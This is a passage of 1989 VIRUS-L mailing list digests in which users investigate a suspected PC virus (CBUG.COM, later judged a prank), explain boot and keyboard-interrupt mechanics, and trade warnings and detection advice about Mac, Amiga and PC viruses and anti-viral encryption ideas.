  my understanding it is reliable).
- - Running all of the software packages installed on the machine to find
  out if any of the programs on the hard disk call it.
- - I will ask the people that used the machine in the last few days
  to use all of the software (on floppies) that they used while
  the machine is running under FSP.
- - I am *not* sure this is a virus, but I don't understand how the
  file got into the root directory of the disk, as most of the users
  use the software on the hard disk or if they use floppies, it is to
  play games. (There are only 3 files in c:\ , command.com, config.sys and
  CBUG.COM and there are 4 subdirectories with utilities that we purchased)

I am assuming that this procedure will help me find out 1) if it is a virus,
and 2) the source of the virus if such a beast exists. There is always
a possiblilty of this being a prank done by someone, but I cannot see
it being one of our student or staff as none of them know enough about
the IBM PC to create such a program. (we are a small college of 600
students with a small percentage in computer related studies).


Thanx for your time,
Any help/suggestions/flames would be appreciated.
Please reply directly to me, I will summarize to the list appropriately.

                  CP6-Mail: Michael Brown @CMR
                  NET-Mail: <[e-mail]>
Michael Brown   Snail-Mail: Service Informatique CMR, St-Jean, Que. J0J 1R0

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 12 Jan 1989        Volume 2 : Issue 12

Today's Topics:
Re:  What happens in the floppy boot process (PC)
Re: VIRUS ALERT: possible virus... keywords: CBUG, WEIRD (PC)
CBUG.COM (PC)

---------------------------------------------------------------------------

Date:         Wed, 11 Jan 1989 14:01:08 PLT
From:         Wim Bonner <[e-mail]>
Subject:      Re:  What happens in the floppy boot process (PC)

All that is done on a floppy boot is that the boot sector is read, and
control is passed to a minature program which is stored in the boot
sector.  In the case of a non-bootable disk, a message is printed, and
the computer waits for a keypress, then calls the bootstrap routine
again.  (ROM Bios calls for both I assume)

In the case of a bootable disk, all it does is load continuos sectors
starting with an offset (past the FATs and root directory.) then pass
control to the loaded program.

If you wipe out the IBMBIOS and IBMDOS (can't remember the names
exactly) from the directoryof a previously bootable disk, the disk
will still try to boot, but when it passes control, very unpredictable
things will happen.  (usually a complete lockup!)

Any program which can be written using no DOS calls, and which is less
than a sector can concievable be put into the boot sector of a disk.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- -=-=-=-=-=-=-=-=-=- 10,000 Lemmings can't be wrong! -=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Wim Bonner  Bitnet:27313853@WSUVM1  Compuserve:72561,3135  (King-Rat)
The Loft - [phone] - 300/1200/2400 - 24hrs/day - PCboard 12.1/d
Acknowledge-To: <27313853@WSUVM1>

------------------------------

Date:         Wed, 11 Jan 89 19:37:42 PLT
From:         Wim Bonner <[e-mail]>
Subject:      Re: VIRUS ALERT: possible virus... keywords: CBUG, WEIRD (PC)

I would suggest getting on of the Assembly dissasemblers, and running
it.  It would be interesting to know what the 149 byte program would
look like in normal assembly code.  I have seen a program called
CRACKER on some BBS programs recently, and have used it on a small
file.  It made a pretty nice program listing.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- -=-=-=-=-=-=-=-=-=- 10,000 Lemmings can't be wrong! -=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Wim Bonner  Bitnet:27313853@WSUVM1  Compuserve:72561,3135  (King-Rat)
The Loft - [phone] - 300/1200/2400 - 24hrs/day - PCboard 12.1/d
Acknowledge-To: <27313853@WSUVM1>

------------------------------

Date:         Thu, 12 Jan 89 02:18:04 EST
From:         Steve <[e-mail]>
Subject:      CBUG.COM (PC)

>Date:         Wed, 11 Jan 89 16:04:00 EST
>From:         Michael Brown <[e-mail]>
>Subject:      VIRUS ALERT: possible virus... keywords: CBUG, WEIRD (PC)

>    One of our AT clones has a file called C:\CBUG.COM. Running CBUG.COM
>has the following effect: The first time the Y key is pressed, it
>prints the message "YOUR COMPUTER IS NOW INFECTED WITH SOME WEIRD VIRUSES",
>and it hangs the system. A warm boot will restore the system to normal.

This is not a criticism of Michael, but I generally don't run
unfamiliar programs unless I have backed up everything on the system
that I care about.  I have no idea whether CBUG.COM is a legitimate
(but infected) program or not, but maybe someone else has heard of it.

>The file is dated 1/01/80 (which is unusual, because that machine has a
>clock, and usually get the date right) and the machine is running PCDOS
>3.3.

An expert will have to advise you about the contents of the file, but
there is nothing strange about the date.  That's just the creation
date/time on the PC that created the file (not necessarily correct).
Not only that, but I can set the clock on my PC to January 1, 1925 if
I want to (and guess what date/time stamp gets put on my files?).

>I checked the disk for other occurrences of the message, but it seems
>to only be there once.

Searching the disk and not finding the message in any other files
doesn't mean very much.  There is nothing to stop a virus from storing
the characters in reverse order or shifting them all by one ASCII
value and you might never find it...

>I am planning on working on it tonight, using the following procedure...
>- - Installing FSP 1.4 on the machine. (I have never used FluShot+, but from
>  my understanding it is reliable).
>- - Running all of the software packages installed on the machine to find
>  out if any of the programs on the hard disk call it.

This could be illuminating, but not if you have a virus which behaves
like the one Dimitri wrote for his class...  Why not disect the thing
(CBUG.COM) since you have it and see what it actually does (or send it
to someone on this list who will look at it for you)?

>- - I will ask the people that used the machine in the last few days
>  to use all of the software (on floppies) that they used while
>  the machine is running under FSP.

Hopefully not on the same machine, unless they don't care about
exposing perhaps their only clean copy to a potential virus.  And
hopefully not on somebody else's machine unless the other machine
doesn't have a hard drive and they take precautions not to spread the
thing.

>- - I am *not* sure this is a virus, but I don't understand how...

All it takes is somebody bringing an infected floppy into your lab...

Steven C. Woronick      |  Disclaimer: These are my own opinions
Physics Dept.           |  and ideas.  Always check things out for
SUNY at Stony Brook, NY |  yourself...
Acknowledge-To: <XRAYSROK@SBCCVM>

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 13 Jan 1989         Volume 2 : Issue 13

Today's Topics:
Re: cbug (PC)
encrypting code.
nVIR in European beta of MS Word 4 (confirmation) (Mac)
How a worm/virus can trap ctl-alt-del (PC)

---------------------------------------------------------------------------

Date:         Thu, 12 Jan 89 09:21:57 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: cbug (PC)

The 1.1.80 date on the cbug is the default date on a pc without its
time/date stamp set.  If you never set them that is what they come up
as.

------------------------------

Date:         Thu, 12 Jan 89 09:23:45 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      encrypting code.

     I have read an interesting article in a magazine called Reality
Hackers.  It is very drug and counter culture oriented, trying to give
these things respectability, but it had a good article on viruses.
(What the hell does CYBER mean anyhow!)

     One of the things it said that might be done to protect programs
from viruses is to make the operating system store all programs in a
scrambled state (encryption).  Then just before running them, decrypt
them.

     When and if a virus attaches to an encrypted program, it will get
scrambled when the program is decrypted and cause a crash.

     Seems like a very very good idea.  How say you all?

------------------------------

Date:     Thu, 12 Jan 89 11:35 EST
From:     JEFF WASILKO--MEMBER OF PRINTER'S DEVILS-LOCAL #47
          <[e-mail]>
Subject:  nVIR in European beta of MS Word 4 (confirmation) (Mac)

The following is being forwarded from the Mac-User distribution list
in Europe.  It is a confirmation (although by the same person who
reported it initially).

- ----------------------cut here--------------------------------
Date: Thu, 12 Jan 89 11:04:49 GMT
From: [e-mail]
Subject: Confirmation of nVIR infection
Sender: EARN Macintosh Users List <[e-mail]>

I received confirmation from Text 100 (Microsoft's publicity people in
the UK) that Microsoft's own machine has been infected by nVIR!  Would
anyone who has received a beta copy of WORD 4 (Version 4b10) please
check that they have not infected their systems? it appears that not
all copies were infected for some reason... so don't panic until you
know for sure!  Meanwhile if anyone has Vaccine ine their System
folder and a program either hangs up on loading, or causes the machine
to do a full 'BOMB' with dialog box then suspect nVIR immediately!
Vaccine does not give it's standard report for an attempted infection
by nVIR, but don't ignore what it is doing its best to report!  David
Riddle Editor "Wheels for the Mind (UK)" King's College London

- --------------------------------end of forwarded message---------------------
-

forwarded by:

Jeff Wasilko
BITNET:     jjw7384@ritvax
INTERNET:   [e-mail]
UUCP:       {psuvax1, mcvax}!ritvax.bitnet!JJW7384
Disclaimer: Nobody ever cares what I say...

------------------------------

Date:     Thu, 12 Jan 89 23:56 EST
From:     Dimitri Vulis <[e-mail]>
Subject:  How a worm/virus can trap ctl-alt-del (PC)

>Date:        11 January 89, 20:00:17 +0100 (MEZ)
>From:        Otto Stolz         [phone]     RZOTTO   at DKNKURZ1
>> When a user presses ctl-alt-del, the keyboard code in BIOS [...]
>> redirects interrupt vectors to their default values, then boots. A
>> worm sitting in memory (not a _virus_) would have to duplicate all the
>> machine-specific stuff for various possible machines
>
>What if ... the worm... simply hooks Int 9?

Intercepting ctl-alt-del without intercepting INT 9 would be rather hard :)

Here's another technical explanation:

When a key is hit or released (on an IBM PC or compatible), the
hardware sends an INT 9 to the CPU (I will skip the IRQs, since it's
not relevant). The CPU saves its current instruction pointer on stack
and loads the new one from [4*9]. (Normally, this points to a routine
in ROM BIOS; in some version of DOS intercept this for `stack
management', also many TSRs intercept this interrupt to look for hot
keys; eventually, the control passes to ROM BIOS, or its equivalent
from KEYBxx). The BIOS routine INs a certain port to obtain a 'scan
code' of the key that triggered the interrupt (the scan code has
nothing to do with the ASCII code). If the high bit is set, it's a
break, else it's a make; thus, no more than 128 distinct scan codes
are possible.

The code then analyses what `kind' of key this was. Lots of logic is
involved here. For example, shift-like keys, like shift, ctrl, alt
don't put anything into the keyboard buffer, but set/reset certain
bits; caps/num/scroll lock toggle other bits; for other keys, like 'A'
or '8', these bits are examined to see if one should queue, e.g. upper
or lower case 'a', or '8' or '*'.  Everything is done in the software,
and this approach is highly felxible. One can redefine all the keys,
or replace the entire keyboard code with ease. The location of these
bits (set and reset by the software, I should emphasise) is pretty
standard in all BIOSes. When Ins, Del, or a function key scan code is
encountered, the BIOS queues a special code which the application
program interprets as it wishes. However, there's a special check on
Del key: if the 2 bits for Ctrl and Alt are on (indicating those keys
are pressed), the control is passed (via a jump, so this cannot be
hooked) to the reset code. Now, it's trivial to write code to trap
ctl-alt-del and e.g. to inhibit warm boot. I was tempted to write it
and post it, but it's not worth the trouble, I guess.

>Then it could fake the warm boot by resetting the interrupt vectors
>in a non-standard way that allowed itself to survive in memory and then
>jumping to the booting code.  The machine-specific stuff would only be
>the default values of the interrupt vectors (may be, even they are rather
>standard, or can be derived from the memory contents -- I don't know).

Here's where Otto is dead wrong.  The default interrupt vector values
are, surprisingly, pretty standard across most BIOSes; what you see is
some code, a jump around a 'standard' entry point, and a jump from
there to the relevant routine kilobytes away.

However, I encourage Otto to get hold of (any) Technical Reference
Manual with a BIOS listing and to see what `machine-specific code in
reset' is, or to re-read my previous posting about the boot sequence.

Certainly, if you are planning to affect a very specific
model/manufacturer (and this makes sense in a college micro lab, with
tens of identical machines), you can copy the machine-specific stuff
from the BIOS and reset the interrupt vectors (modulo the ones you
want, like 13 and 9 then) to their default BIOS values. I guess the
only way around it is to 1) avoid machines without a reset button, 2)
cold boot if you use a machine after someone (what I do, if I have
to).

>Or it could infect the disk/diskette to be booted from, and then rely
>on BIOS to be installed again;  the machine specific stuff would be nil,
>and if it was a boot-sector virus, all required subroutines would already
>be part of it.

This is certainly very feasible, except that a disk access immediately
after ctl-alt-del is pressed would look very suspicious. In fact,
Brain should have had this feature. Of course, write-protecting the
disk you boot from would prevent the infection, as usual.

(I hope I am not too hard on Otto---I do not wish to offend him, but I
do wish to express my strong disapproval of people who represent their
fantasies, conjectures and assumptions as facts. This is not a flame.)

- -Dimitri

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest              Friday, 13 Jan 1989         Volume 2 : Issue 14

Today's Topics:
Two-Day Computer Virus Seminar
AMIGA virus warning (Amiga)
Interferon virus detection program for Macintosh
Re: Interferon virus detection program for Macintosh
ISS OFF! Virus? (PC)
Request for *confirmation* on Friday the 13th *rumor*

---------------------------------------------------------------------------

Date:    Fri, 13 Jan 89 08:04 CST
From:    Ken  De Cruyenaere <[e-mail]> 204-474-8340
Subject: Two-Day Computer Virus Seminar

  (from the Computer Security Newsletter:)
Computer Viruses, Trojan Horses, Logic Bombs -- Strategies for Protection
Instructor John O'Leary describes and demonstrates examples,
discusses how they operate, how to detect their presence, and how
to guard against viral infection.  The seminar examines why we"re
seeing this epidemic now, the people who create viruses, and the
effects that computer viruses are having on software distribution
methids.  Administrative and technical controls, including demos
of commercially available "vaccination" software, will be offered.
The course is being offered in several cities:
   January 12-13 in New Orleans
   January 18-19 in Dallas
   February 2-3  in San Diego
   March 6 - 7   in Boston
   June 15 - 16  in Detroit
For complete details: Call Vanessa at 508-393-2600
cost is $595.00
- ---------------------------------------------------------------------
Ken De Cruyenaere - Computer Security Coordinator
Computer Services - University of Manitoba - Winnipeg, Manitoba, Canada
Bitnet: [e-mail]               [phone]

------------------------------

Date:  Fri, 13 Jan 89 08:50 EST
From:  "Joseph M. Beckman" <[e-mail]>
Subject:  AMIGA virus warning (Amiga)

>From one of my colleagues.

    I am enclosing a posting from a local Bulletin Board (Alfheim)
which I know to be reputable, and the individuals named in the posting
are reputable and well known developers in the Amiga Community.  I
have not had much luck in sending things to Virus-l, if you wish to
forward this, feel free to do so.  if not, then it is just for your
own info -- I know you follow virus issues.

- ---------------------------

 Msg:10663  Sec: 4 - Amiga Computer Room
      31-Dec-88  12:42 AM
Subj: virus alert!
From: Dj James
  To: all

  Today Steve Tibbett (VirusX author) gave me a copy of a new Amiga
virus.  This one does not attach itself to the boot sector of a disk
as the older viruses did.  Instead, this one opens the
Startup-sequence file and looks for the first executable file in the
S-S file.  It then opens this file and copies itself inside it.
  By doing this, it hopes to remain invisable from the standard boot
block virus checkers and yet always get executed early on in the boot
sequence.  The virus is pretty clever in the way it looks at the S-S
file and also how it rebuilds the executable file to include itself.
  In operation, it intercepts the OldOpenLibrary vector and inserts
it's own code there.  The OOL call doesn't require a version parameter
to be passed - so I'd expect that the OS itself uses that call to open
the ROM libraries (I'm guessing here).
  The virus will change the title bar of CLI windows to "AmigaDOS
presents: a new virus by the IRQ-Team V41.0" other than that, and the
fact that it writes itself to your boot disk, it seems harmless.  This
info comes from a disassembly - I'm not unleashing this thing in my
machine!  Steve claims that it won't work under DOS 1.3 - let's hope
that this is true so the number of infections will go down.
  If infected, turn off the machine, boot with a VIRGIN WB disk and
delete the first executable file in the infected disks
Startup-sequence, then copy a new version of that file to your WB
disk.  Let's hope that this relatively harmless virus doesn't suddenly
become a killer!  Djj

- ------------------------------------------
                      Thanks,

------------------------------

Date:     Fri, 13 Jan 89 12:13 EST
From:     RESEARCH CLUSTER SUPERVISOR JMH 320 X2164
          <[e-mail]>
Subject:  Interferon virus detection program for Macintosh

Hi everyone:

     A couple of months ago occasionally my desktop accessories didn't
work.  I ran a program called Interferon (version 1.1b) and the
response was that I had viruses in my system folder and several
software packages (hypercard) and so on.  By the way, this DA problem
happened AFTER I had down-loaded PD stuff from MACSERVE@PUCC but that
*may* not be the source of the problem.
     I reformatted my Hard Disk just to make sure and then
re-installed everything.  Interferon when run again said "No viruses
detected".  I vowed not to put any more PD software on my HD.  I
haven't installed any other software since I reformatted the Hard Disk
and checked Interferon.
     This is the killer... I ran Interferon again today and I'm full
of reported viruses again.
     Has anybody had similar problems with this??  Is Interferon
reliable?  Does anybody know of absolutely reliable virus detection
programs?
     I am running System 6.0.2 and Finder 6.1 .

Thank you

/paul

------------------------------

Date:         Fri, 13 Jan 89 13:08:03 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: Interferon virus detection program for Macintosh

"RESEARCH CLUSTER SUPERVISOR JMH 320 X2164 <[e-mail]>" writes:
>   ... I ran a program called Interferon (version 1.1b) ...
> ... This is the killer... I ran Interferon again today and I'm full
>of reported viruses again.
>     Has anybody had similar problems with this??  Is Interferon
>reliable?  Does anybody know of absolutely reliable virus detection
>programs?
>     I am running System 6.0.2 and Finder 6.1 ...

Okay, a couple of things.

Problem 1: You have a very, very old version of Interferon. The current
           version is 3.1.

Problem 2: The LaserWriter and LaserPrep files in System 6.0 and up will be
           labelled as infected by older versions of Interferon, even
           though they are clean.

TELL LISTSERV AT SCFVM GET INTERFER SITHQX to get the newest version
in BinHex format.

You may also want to get Apple's newest version of Virus RX, which can
now detect nVIR (hurrah!). Get that with TELL LISTSERV AT SCFVM GET
VIRUSRX SITXHQX.

Once you have those, drop me a private note and we'll go over your
disinfection technique to see if there might have been a problem
there.

- --- Joe M.

[Ed. Thanks again for your help, Joe!  It's greatly appreciated.]

------------------------------

Date: Fri, 13 Jan 89 11:15:23 -0800
From: Steve Clancy <[e-mail]>
Subject: ISS OFF! Virus? (PC)

Has anyone encountered a virus or other badware which leaves a message
similar to a happy face followed by "ISS OFF!" ?  A local company
called me today and said that one of their AST 286's, running MS-DOS
3.2 has been having a problem with files being chopped in half, and
growing numbers of bad sectors on the hard disk.

This seems so far to be happening when a file is saved using Lotus.
The message arose when a user was using PC-Tools from a floppy.  He
tried to save a batch file using a PC-Tools editor, and got the
message "unable to read sector" from PC-tools.  When he exited to DOS,
he saw the ISS OFF! message at the A: prompt.

I don't have all of the information yet, but I'm wondering if anyone
else has encountered this?  This is a credit company, and they are
really worried about information they have on their other disks!

- -- Thanks!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|   Steve Clancy                      |  WELLSPRING RBBS            |
|   Biomedical Library                |  714-856-7996  24 HRS       |
|   P.O. Box 19556                    |  300-9600 N,8,1             |
|   University of California, Irvine  |  714-856-5087  nites/wkends |
|   Irvine, CA  92713                 |  300-1200 N,8,1             |
|   SLCLANCY@UCI                      |  "Are we having fun yet?"   |
|   [e-mail]         |                             |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

------------------------------

Date: Fri, 13 Jan 89 14:39:03 est
From: ubu![e-mail]
Subject: Request for *confirmation* on Friday the 13th *rumor*

I just heard an UNFOUNDED RUMOR about a Friday the 13th virus doing a
bit of damage in the United Kingdom.  Can any of our UK readers
confirm (or preferably deny) this?  If there's any truth to it, could
someone please send in some additional info?

Ken

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 16 Jan 1989         Volume 2 : Issue 15

Today's Topics:
Checkup version 2.1 for IBM (PC)
Encrypted/Decrypted virii
Request for info on other MAC viri... (Mac)
CBUG: not a virus (PC)
Name this book  -- for a box of cookies!

---------------------------------------------------------------------------

Date:     FRI JAN 13, 1989 17.51.56 EST
From:     "David A. Bader" <DAB3@LEHIGH>
Subject:  Checkup version 2.1 for IBM (PC)

Just a note I saw on the IBMPC-L list:

CHECKUP v. 2.1 has been released and is available from SIMTEL20 at
<msdos.trojan-pro>CHKUP21.ARC and is 79k.

Checkup is a program that can be used to check files' CRCs and
footprints.

David Bader
DAB3@LEHIGH

[Ed. The anonymous FTP is from WSMR-SIMTEL20.ARMY.MIL.  The directory
is on PD1:]

------------------------------

Date:     Fri, 13 Jan 89 21:45 EST
From:     <[e-mail]>
Subject:  Encrypted/Decrypted virii

Homer W. Smith <[e-mail]> writes:
[Magazine review/appraisal deleted]
>     One of the things it said that might be done to protect programs
>from viruses is to make the operating system store all programs in a
>scrambled state (encryption).  Then just before running them, decrypt
>them.
>     When and if a virus attaches to an encrypted program, it will get
>scrambled when the program is decrypted and cause a crash.
>     Seems like a very very good idea.  How say you all?

It sounds good, but there is one problem here.  The virus, in order to attach
itself to the file would most likely have to be in a decrypted format in order
to attach itself to the host program it is trying to infect.
Heres the possible problems:
1. The virus has to be in a decrypted state in order to infect the host program
which itself is encrypted.  However, when the program executed, the OS will
perform the encrypt/decrypt algorithm on both the program and the virus that is
now attached to it. This is good for the program because it can now execute,
but the unencrypted virus code will become scrambled during this
process because what you're doing is decrypting a decrypted file which can
only hopelessly scramble the code.
2. Okay, so an obvious way around this is to have the virus encrypt itself
after infecting the targeted file, but which method to use??. With 6.02*10^23
encryption schemes out there, a virus would be too big and take too much effort
to try and check for even the most popular coding or encryption schemes.

The idea sounds good but thats about it....
- ---Steve
- --------------
Steve Okay [e-mail]/[e-mail]/CSR032 on The Source

  Disclaimer:The contents of this are less relevant than
  say, the New York Times Op Ed. page, but more relevant than, say, Plywood.
        ---Bloom County "Loose Tails"

[Ed. Isn't that the whole _idea_ behind encrypting executable files on
disk (so that any virus infecting them would effectively neuter itself
since it would be written unencrypted to disk)?  The next time the
newly infected executable file would be run, it would no doubt crash -
which, imho, is a far cry better than infecting another program(s).]

------------------------------

Date:     Sat, 14 Jan 89 22:20:56 PST
From:     [e-mail]  (Commander Spock)
Subject:  Request for info on other MAC viri... (Mac)

I need some help here.  I am currently doing a research project for an
informational resource management class, and fortunately, my project
is on security systems and protection, namely viruses.  I am a
Macintosh user (currently two at the moment) and have heard some
shocking news regarding NEW strains of "nVIR" viruses.  News is a
*BIT* slow around here, so I'm one of the last to hear things (kind of
sounds familiar here, don't it?).  At any rate, what does this "Hpat"
virus do?  Second, there is another virus out in the Macintosh world,
called "INIT 29".  I definitely DO NOT know what type and nature this
fellow is.  What does this one do?

In your reply, please be specific about type, species, and any
references as to where in memory it attacks, what applications are hit
most often...  often (please excuse, bad terminal line...), etc.  I
will be using the material that you send me in my report about viri.

Thanks in advance.

Spock          INTERNET: [e-mail]
                         [e-mail]
                 BITNET: [e-mail]

"I think it has something to do with those ears..."  -- Capta  Kirk

------------------------------

Date:     15 Jan 89 23:00:00 EST
From:     Michael Brown <[e-mail]>
Subject:  CBUG: not a virus (PC)

After considerable help from the netland folk, and an extensive
investigation, it has been determined that CBUG is probably not a
virus, and more likely, a prank program.

I would like to thank everyone for their assistance, especially, Ken
and the two individuals who offered to look at the code for me.  Not
only did their efforts make my life *considerably* easier, but with
their help, I was able to work on the problem efficiently, and with
confidence.

I say again, CBUG.COM is not a virus.

Thanx again,

                  CP6-Mail: Michael Brown @CMR
                  NET-Mail: <[e-mail]>
Michael Brown   Snail-Mail: Service Informatique CMR, St-Jean, Que. J0J 1R0

------------------------------
Date:     Tue, 10 Jan 89 02:10:18 PST
From:     [e-mail] (Cliff Stoll)
Subject:  Name this book  -- for a box of cookies!

[Ed. This is forwarded from RISKS, with this editor's recommendation
to anyone who hasn't read "Stalking the Wily Hacker" to run to their
library and read it *now*!]

Fellow Riskees:

I'm writing a book, and I need a title.

It's about computer risks:  counter-espionage, networks, computer security,
and a hacker/cracker that broke into military computers.  It's a true
story about how we caught a spy secretly prowling through the Milnet.

Although it explains technical stuff, the book is aimed at the lay reader.
In addition to describing how this person stole military information,
it tells of the challenges of nailing this guy, and gives a slice of
life from Berkeley, California.

You can read a technical description of this incident in the
Communications of the ACM, May, 1988;  or Risks Vol 6, Num 68.

Better yet, read what my editor calls "A riveting, true-life adventure
of electronic espionage" ... available in September from Doubleday,
publishers of the finest in computer counter-espionage nonfiction
books.

So what?

Well, I'm stuck on a title.  Here's your chance to name a book.

Suggest a title (or sub-title).  If my editor chooses your title,
I'll give you a free copy of the book, credit you in the acknowledgements,
and send you a box of homemade chocolate chip cookies.

Send your suggestions to    [e-mail]   or   CPStoll@lbl (bitnet)
             Many thanx!    Cliff Stoll


------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 16 Jan 1989         Volume 2 : Issue 16

Today's Topics:
Any connection between the ping-pong virus and WordPerfect? (PC)
re:anti-viral encryption schemes

---------------------------------------------------------------------------

Date:     Mon, 16 Jan 89 16:33:29 IST
From:     "Eldad Salzmann ([phone]" <[e-mail]>
Subject:  Any connection between the ping-pong virus and WordPerfect? (PC)

I am new to this list, I heard about it from Norbert Hanke after
sending a query about some viruses I ran into in Israel. The query was
sent both to Dist-Mic at RPICICGE and to RED-UG at TREARN. I'm
repeating my query here for the sake of those who haven't read it. I
will be very grateful if some of you, who feel that they are
well-informed, will be able to enlighten me a little about this
subject.
                            *     *     *
Originally entitled:
                   Needed:  A Virus Vademecum

Recently I've encountered the formidable Bouncing Ping-Pong virus on a
friend's hard disk. As far as I know, this is a "benign" virus, which
does not cause any damage to files, but I'm not sure about that.

I heard it resides on the root, but I'm not sure about that either
(what does this imply? That it attacks the system files, the two
hidden DOS files and/or the command.com?).

Is a diskette totally safe when it is write-protected? I was sure
about that, until I read some things which made me worry.

How can one know that the antivirus program s/he received is really
effective?  I guess it's not possible to know that, the taste of the
pudding is in the eating...

        Was WordPerfect infected by the omnipotent virus?

I don't know whether it had anything to do with the following event,
but...  A WordPerfect which was till then working quite smoothly from
the HD, sud- denly began to look at drive A: for its WP.exe file, and
to complain that the diskette was write-protected. At first I thought
that the virus had high expectations and aspired to enlarge its
kingdom over the diskette files as well, but it then occurred to me
that maybe WordPerfect needs to write something on the diskette (or
the HD) when it loads, something like a tempo- rary file which is
erased afterwards. Well, does it? And why does it need to load its
main file from a diskette all of a sudden, after it worked so nicely
from the HD?

                            *   *   *

Is there any panacea against viruses? And if not, are there any
programs which counteract both the first known virus (in Israel it was
the famous virus which appended itself to EXE and COM files,
indicating its existence by the appearance of the string "SuMSDos"
within the executable files) and the Bouncing Ping-Pong virus?

Any comments will be appreciated. I sincerely hope there are people on
this list who experienced some sort of a virus (or a Trojan horse) and
survived, and now can share with me their experience.

Eldad Salzmann    <[e-mail]>

------------------------------

Date: Mon, 16 Jan 89 12:20:20 EST
From: Don Alvarez <[e-mail]>
Subject: re:anti-viral encryption schemes

Homer W. Smith and others have been discussing program encryption as a
method of defending against viruses.  Before use, the program would be
decrypted.  Any virus which had attached itself to an application
would become scrambled and neutralized when the application was
decrypted.

Sorry to disagree with you, but you have to be very careful that the
"cure" isn't worse than the "disease".  If you do daily backups, you
can't loose more than 8 hours work.  30 seconds of decryption time 30
times a day means in two months you waste 8 hours doing decryptions.
Anyone who expects viral infections less frequently than once every
two months is quite literaly wasting their time with this scheme.
Consider instead just spending two minutes a day backing up your work.
At this rate, you will have achieved a savings in time as long as you
are infected at least once a year, and as a side benefit you are
protected against power outages, head crashes, and disasterous typos.

                        - Don Alvarez

     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 18 Jan 1989        Volume 2 : Issue 17

Today's Topics:
Re: Encrypted/Decrypted viruses
Re: Friday 13th / Israel Virus
Re: Meaning of "CYBER"
Computer Virus Industry Assc. ?
Reality Hackers
WordPerfect Access to Drive A (PC)
Internet worm report available in Gemany & Switzerland
Re: INIT 29 Virus (Mac)
More VIRUS seminars...
Virus created by software copying company?
encryption
Reply to Salzmann question about possible Word Perfect virus (PC)

---------------------------------------------------------------------------

Date: Mon, 16 Jan 89 20:23:46 -0500 (EST)
From: Michael Francis Polis <[e-mail]>
Subject: Re: Encrypted/Decrypted viruses

Such an encryption system would only be useful if it were not
standard.  If it became standard, or at least widely distributed,
viruses would work their way around it by calling whatever interrupt
did the encryption on themselves before they became part of your
favorite program.  Even individual keys would not protect against
this.

------------------------------

Date: 17 January 1989, 09:40:32 MEZ
From: Christoph Fischer   <[e-mail]>
Subject: Re: Friday 13th / Israel Virus

I am a consultant at the computing center of the University of
Karlsruhe West-Germany. We were asked to assist the people at the
University of Hohenheim West-Germany. They found a virus spreading in
their public PC-pool.  We identified the virus as the Israel type on
wednesday afternoon. The people at Hohenheim had just one day to go
through their PCs and remove the virus with the help of H&B EDVXs Anti
Virus software (it had some trouble and didn't restore all files to
their original function, but the author of the program will check if
the virus is a mutant and will update the software) The viruses
destructive action on friday was tested on one PC: it destroyed all
executable files on the first attempt to run them. They didn't
experience any low-level format (only possible on PC-XT controllers
and a few AT contollers) maybe there is another threshold for that
action or it is a pure rumor. The virus reappeared after friday since
the students brought executable files on their disks. Larry Lover
(well known game) was pinpointed as virus infected and a major source
of the trouble since everyone copied this sw.

Chris
(Christoph Fischer / University of Karlsruhe West-Germany / Computing Center )
( D-7500 Karlsruhe 1 / Zirkel 2 / Rechenzentrum  / Tel. [phone] )
( RY15 at DKAUNI11.BITNET )

------------------------------

Date:         Tue, 17 Jan 89 09:19:51 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: Meaning of "CYBER"
To:           Virus Discussion List <VIRUS-L@LEHIIBM1>

CYBER comes from cybernetics, a word invented by Norbert Weiner. Its
root is from the Greek Cybernos, the steersman. Weiner's original
application of it was in self-controlling systems.

- --- Joe M.

------------------------------

Date:         Tue, 17 Jan 89 09:46:53 EST
From:         "John P. McNeely" <[e-mail]>
Subject:      Computer Virus Industry Assc. ?

     Has anyone out there ever heard of the 'Computer Virus Industry
Association' ? If so, what functions does it perform? If you have any
information about the organization, I would appreciate a reply either
directly to me or to the list.

Thanks,

John P. McNeely
<[e-mail]>

UT-Chattanooga (No, where not the Vols.)

------------------------------

Date:         Tue, 17 Jan 89 10:52:20 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Reality Hackers

     I have been flooded with requests concerning the article in
Reality Hackers on computer viri.  As I can not possibly xerox and
send a copy of it to every one of you, I herewith post the name and
address where you can get a copy for yourself.  It is on the news
stands, some of them at least.

     High Frontiers/Reality Hackers
     PO 40271
     Berkeley, CA 94704
     415 845-9018

     Winter issue number 6.

     'Cyber Terrorists/Viral Hitmen'

     For those of you who I have already promised to send a xerox,
they will soon be on their way.

------------------------------

Date: Tue, 17 Jan 89 10:01 MDT
From: "Craig M." <[e-mail]>
Subject: WordPerfect Access to Drive A (PC)

The vanilla version of WordPerfect (as it comes from the box) uses the
default directory/drive for temporary files (it creates several of
them: a printer queue, backup files, timed backup files, and a couple
of others).  If you are using a version of WP that has previously been
configured for use from a floppy drive but copied and executed from a
